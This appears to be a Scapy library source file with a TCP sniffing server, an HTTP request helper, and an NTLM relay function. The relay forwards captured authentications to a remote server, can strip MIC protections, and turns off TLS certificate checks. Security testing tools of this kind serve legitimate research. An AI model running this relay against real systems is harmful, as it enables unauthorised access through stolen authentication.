def sniff(self): # type: () -> None from scapy.supersocket import StreamSocket ssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssock.bind((get_if_addr(self.optsniff.get("iface", conf.iface)), self.port)) ssock.listen() sniffers = [] try: while True: clientsocket, address = ssock.accept() print("%s connected" % repr(address)) sock = StreamSocket(clientsocket, self.cls) optsniff = self.optsniff.copy() optsniff["prn"] = functools.partial(self.reply, send_function=sock.send, address=address) del optsniff["iface"] sniffer = AsyncSniffer(opened_socket=sock, **optsniff) sniffer.start() sniffers.append((sniffer, sock)) finally: for (sniffer, sock) in sniffers: try: sniffer.stop() except Exception: pass sock.close() self.close() ssock.close()
def http_request(host, path="/", port=80, timeout=3, display=False, verbose=0, raw=False, iptables=False, iface=None, **headers): """Util to perform an HTTP request, using the TCP_client. :param host: the host to connect to :param path: the path of the request (default /) :param port: the port (default 80) :param timeout: timeout before None is returned :param display: display the resullt in the default browser (default False) :param raw: opens a raw socket instead of going through the OS's TCP socket. Scapy will then use its own TCP client. Careful, the OS might cancel the TCP connection with RST. :param iptables: when raw is enabled, this calls iptables to temporarily prevent the OS from sending TCP RST to the host IP. On Linux, you'll almost certainly need this. :param iface: interface to use. Changing this turns on "raw" :param headers: any additional headers passed to the request :returns: the HTTPResponse packet """ from scapy.sessions import TCPSession http_headers = { "Accept_Encoding": b'gzip, deflate', "Cache_Control": b'no-cache', "Pragma": b'no-cache', "Connection": b'keep-alive', "Host": host, "Path": path, } http_headers.update(headers) req = HTTP() / HTTPRequest(**http_headers) ans = None # Open a socket if iface is not None: raw = True if raw: # Use TCP_client on a raw socket iptables_rule = "iptables -%c INPUT -s %s -p tcp --sport 80 -j DROP" if iptables: host = str(Net(host)) assert (os.system(iptables_rule % ('A', host)) == 0) sock = TCP_client.tcplink(HTTP, host, port, debug=verbose, iface=iface) else: # Use a native TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) sock = StreamSocket(sock, HTTP) # Send the request and wait for the answer try: ans = sock.sr1(req, session=TCPSession(app=True), timeout=timeout, verbose=verbose) finally: sock.close() if raw and iptables: host = str(Net(host)) assert (os.system(iptables_rule % ('D', host)) == 0) if ans: if display: if Raw not in ans: warning("No HTTP content returned. Cannot display") return ans # Write file file = get_temp_file(autoext=".html") with open(file, "wb") as fd: fd.write(ans.load) # Open browser if WINDOWS: os.startfile(file) else: with ContextManagerSubprocess(conf.prog.universal_open): subprocess.Popen([conf.prog.universal_open, file]) return ans
def ntlm_relay( serverCls, remoteIP, remoteClientCls, # Classic attacks DROP_MIC_v1=False, DROP_MIC_v2=False, DROP_EXTENDED_SECURITY=False, # SMB1 # Optional arguments ALLOW_SMB2=None, server_kwargs=None, client_kwargs=None, iface=None): """ NTLM Relay This class aims at implementing a simple pass-the-hash attack across various protocols. Usage example: ntlm_relay(port=445, remoteIP="192.168.122.65", remotePort=445, iface="eth0") :param port: the port to open the relay on :param remoteIP: the address IP of the server to connect to for auth :param remotePort: the proto to connect to the server into """ assert issubclass(serverCls, NTLM_Server), "Specify a correct NTLM server class" assert issubclass(remoteClientCls, NTLM_Client), "Specify a correct NTLM client class" assert remoteIP, "Specify a valid remote IP address" ssock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssock.bind((get_if_addr(iface or conf.iface), serverCls.port)) ssock.listen(5) sniffers = [] server_kwargs = server_kwargs or {} client_kwargs = client_kwargs or {} if DROP_MIC_v1: server_kwargs["DROP_MIC_v1"] = client_kwargs["DROP_MIC_v1"] = True if DROP_MIC_v2: server_kwargs["DROP_MIC_v2"] = client_kwargs["DROP_MIC_v2"] = True if DROP_EXTENDED_SECURITY: client_kwargs["EXTENDED_SECURITY"] = False server_kwargs["EXTENDED_SECURITY"] = False if ALLOW_SMB2 is not None: client_kwargs["ALLOW_SMB2"] = server_kwargs["ALLOW_SMB2"] = ALLOW_SMB2 for k, v in remoteClientCls.kwargs_cls.get(serverCls, {}).items(): if k not in server_kwargs: server_kwargs[k] = v try: evt = threading.Event() while not evt.is_set(): clientsocket, address = ssock.accept() sock = StreamSocket(clientsocket, serverCls.cls) srv_atmt = serverCls(sock, debug=4, **server_kwargs) # Connect to real server _sock = socket.socket() _sock.connect((remoteIP, remoteClientCls.port)) remote_sock = None # SSL? if remoteClientCls.ssl: context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # Disable all SSL checks... context.check_hostname = False context.verify_mode = ssl.CERT_NONE _sock = context.wrap_socket(_sock) remote_sock = SSLStreamSocket(_sock, remoteClientCls.cls) else: remote_sock = StreamSocket(_sock, remoteClientCls.cls) print("%s connected -> %s" % (repr(address), repr(_sock.getsockname()))) cli_atmt = remoteClientCls(remote_sock, debug=4, **client_kwargs) sock_tup = ((srv_atmt, cli_atmt), (sock, remote_sock)) sniffers.append(sock_tup) # Bind NTLM functions srv_atmt.bind(cli_atmt) cli_atmt.bind(srv_atmt) # Start automatons srv_atmt.runbg() cli_atmt.runbg() except KeyboardInterrupt: print("Exiting.") finally: for atmts, socks in sniffers: for atmt in atmts: try: atmt.forcestop(wait=False) except Exception: pass for sock in socks: try: sock.close() except Exception: pass ssock.close()